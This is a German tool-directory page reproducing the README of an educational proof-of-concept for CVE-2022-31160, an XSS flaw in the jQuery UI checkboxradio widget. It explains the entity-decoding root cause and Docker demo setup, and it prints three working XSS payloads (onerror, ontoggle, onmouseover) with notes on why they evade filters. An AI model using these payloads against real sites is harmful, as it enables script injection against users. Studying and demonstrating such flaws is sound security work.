Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitCTFLernen & Bildung
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

jquery XSS Proof of Concept (PoC)

Repository anzeigen
10vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

jQuery UI CVE-2022-31160 Schwachstellendemonstration

Security Badge jQuery UI CVE Docker

Dieses Projekt demonstriert die jQuery UI Checkboxradio Widget Refresh Schwachstelle (CVE-2022-31160), die eine Decodierung von HTML-Entitäten während Widget-Refresh-Vorgängen ermöglicht und potenziell zu Cross-Site-Scripting (XSS)-Angriffen führen kann.

🚨 Sicherheitswarnung

⚠️ Dieses Projekt enthält funktionierende XSS-Payloads ausschließlich für Bildungs- und Forschungszwecke.

  • Nicht auf Produktionssystemen verwenden
  • Nur in kontrollierten Umgebungen einsetzen
  • Vorgesehen für Sicherheitsforschung und -bildung

📋 Inhaltsverzeichnis

  • Schwachstellenübersicht
  • Schnellstart
  • Projektstruktur
  • Demonstrationen
  • Technische Details
  • Docker-Nutzung
  • Sicherheitsanalyse
  • Gegenmaßnahmen
  • Beitragen

🔍 Schwachstellenübersicht

CVE-2022-31160 Details

  • Komponente: jQuery UI Checkboxradio Widget
  • Betroffene Versionen: jQuery UI ≤ 1.13.1
  • Schwachstellentyp: Cross-Site Scripting (XSS) via HTML-Entity-Decodierung
  • CVSS-Score: 6.1 (Mittel)
  • Erstveröffentlicht: 20. Juli 2022

Ursache

Wenn ein Checkboxradio-Widget auf einem innerhalb eines Labels eingeschlossenen Input initialisiert wird, führt der Aufruf von .checkboxradio("refresh") auf dem Widget dazu, dass HTML-Entitäten im Label-Inhalt fälschlicherweise decodiert werden. Dadurch kann sicher codierter schädlicher Inhalt in ausführbares JavaScript umgewandelt werden.

Angriffsvektor

<!-- Sicher codierter Inhalt -->
<label for="checkbox">
  Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- Nach .checkboxradio("refresh") -->
<label for="checkbox">
  Text 
  <input type="checkbox" id="checkbox">
</label>

🚀 Schnellstart

Voraussetzungen

  • Docker auf Ihrem System installiert
  • Webbrowser mit Entwicklertools
  • Grundlagenwissen über Websicherheitskonzepte

Erstellen und Ausführen

# In das Projektverzeichnis wechseln
cd jquery-cve-2022-31160

# Docker-Image erstellen
docker build -t jquery-cve-2022-31160 .

# Container starten
docker run -p 3000:3000 jquery-cve-2022-31160

Zugriff auf die Demonstrationen

Sobald der Container läuft, erreichen Sie:

  • Vereinfachte Umfragedemo: http://localhost:3000/survey
  • Alternative Umfrage-URL: http://localhost:3000/simplified-survey

📁 Projektstruktur

jquery-cve-2022-31160/
├── README.md                    # Diese Dokumentation
├── Dockerfile                   # Docker-Container-Konfiguration
├── package.json                 # Node.js-Abhängigkeiten
├── server.js                    # Express.js-Server
└── simplified-survey.html       # Umfrageartige Demonstration

🎯 Demonstrationen

1. Vereinfachte Umfragedemo (simplified-survey.html)

URL: http://localhost:3000/survey

  • Umfrageartige Oberfläche
  • Mehrere Schwachstellenszenarien
  • Verbessertes visuelles Feedback

Funktionen:

  • 4 verschiedene Checkbox-Optionen mit verschiedenen Szenarien:
    • Sichere Option: Keine codierten Entitäten (Kontrollgruppe)
    • Netzwerksicherheit XSS: &lt;img src=x onerror=&quot;...&quot;&gt; - Sofortige Ausführung
    • Mobile Sicherheit XSS: &lt;details ontoggle=&quot;...&quot; open&gt; - Sofortige Ausführung
    • Cloud-Sicherheit XSS: &lt;span onmouseover=&quot;...&quot;&gt; - Interaktive Ausführung

Analysewerkzeuge:

  • Detailliertes Konsolen-Logging
  • XSS-Ausführungsalarme
  • Schrittweise Schwachstellenverfolgung

🔧 Technische Details

Schwachstellenmechanismus

  1. Widget-Initialisierung: jQuery UI erstellt Checkboxradio-Widget
  2. HTML-Entity-Speicherung: Label-Inhalt mit codierten Entitäten wird verarbeitet
  3. Refresh-Trigger: .checkboxradio("refresh") wird aufgerufen
  4. Entity-Decodierung: jQuery UI decodiert fälschlicherweise HTML-Entitäten
  5. XSS-Ausführung: Decodierter schädlicher Inhalt wird ausführbar

Betroffener Codepfad

// Verwundbarer Vorgang
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Löst Schwachstelle aus

Test-Payloads

Die Demonstrationen enthalten verschiedene Payloads zum Testen unterschiedlicher XSS-Ausführungsmethoden:

<!-- Netzwerksicherheit: Error-Ereignis XSS (Sofortige Ausführung) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Mobile Sicherheit: Details-Toggle XSS (Sofortige Ausführung) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Cloud-Sicherheit: Interaktives XSS (Benutzerinteraktion erforderlich) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;

XSS-Ausführungsmethoden

1. Error-Ereignis-Handler (onerror)

  • Auslöser: Sofort, wenn das Element in das DOM eingefügt wird
  • Zuverlässigkeit: Sehr hoch (schlägt immer mit src=x fehl)
  • Anwendungsfall: Demonstriert sofortige XSS-Ausführung
  • Risiko in der Praxis: Hoch – umgeht häufig Eingabefilter

2. Details-Toggle-Ereignis-Handler (ontoggle)

  • Auslöser: Wenn sich der geöffnete/geschlossene Zustand des Details-Elements ändert
  • Zuverlässigkeit: Sehr hoch (garantierte Auslösung mit dem open-Attribut)
  • Anwendungsfall: Sofortige Ausführung bei DOM-Einfügung
  • Risiko in der Praxis: Hoch – zuverlässige browserübergreifende Ausführung

3. Maus-Ereignis-Handler (onmouseover)

  • Auslöser: Erfordert Benutzerinteraktion (Darüberfahren)
  • Zuverlässigkeit: Hoch, wenn der Benutzer interagiert
  • Anwendungsfall: Social-Engineering-Szenarien
  • Risiko in der Praxis: Mittel – erfordert Benutzerengagement

Warum diese Payloads funktionieren

Vorteile von Ereignis-Handlern:

  • Ausführung beim Einfügen des Elements über innerHTML
  • Umgehen von <script>-Tag-Einschränkungen
  • Konsistentes Verhalten in verschiedenen Browsern
  • Keine externen Ressourcen erforderlich
  • Zustandsbasierte Auslöser (wie ontoggle) sind hochzuverlässig

Umgehung der Codierung:

  • HTML-Entitäten (&lt;, &quot;) werden durch den jQuery-UI-Refresh decodiert
  • Verwandelt sicher codierten Inhalt in ausführbaren Code
  • Demonstriert echte Umgehung von Bereinigung
  • Mehrere Ausführungsvektoren zeigen die Vielfalt der Angriffsoberfläche

🐳 Docker-Nutzung

Image erstellen

docker build -t jquery-cve-2022-31160 .

Container ausführen

# Auf Standard-Port 3000 ausführen
docker run -p 3000:3000 jquery-cve-2022-31160

# Auf benutzerdefiniertem Port ausführen
docker run -p 8080:3000 jquery-cve-2022-31160

# Im Hintergrund ausführen
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Mit benutzerdefiniertem Namen ausführen
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

Container-Verwaltung

# Laufende Container auflisten
docker ps

# Container anhalten
docker stop jquery-cve-2022-31160

# Container entfernen
docker rm jquery-cve-2022-31160

# Image entfernen
docker rmi jquery-cve-2022-31160

🔬 Sicherheitsanalyse

Auswirkungsbewertung

Tool herunterladen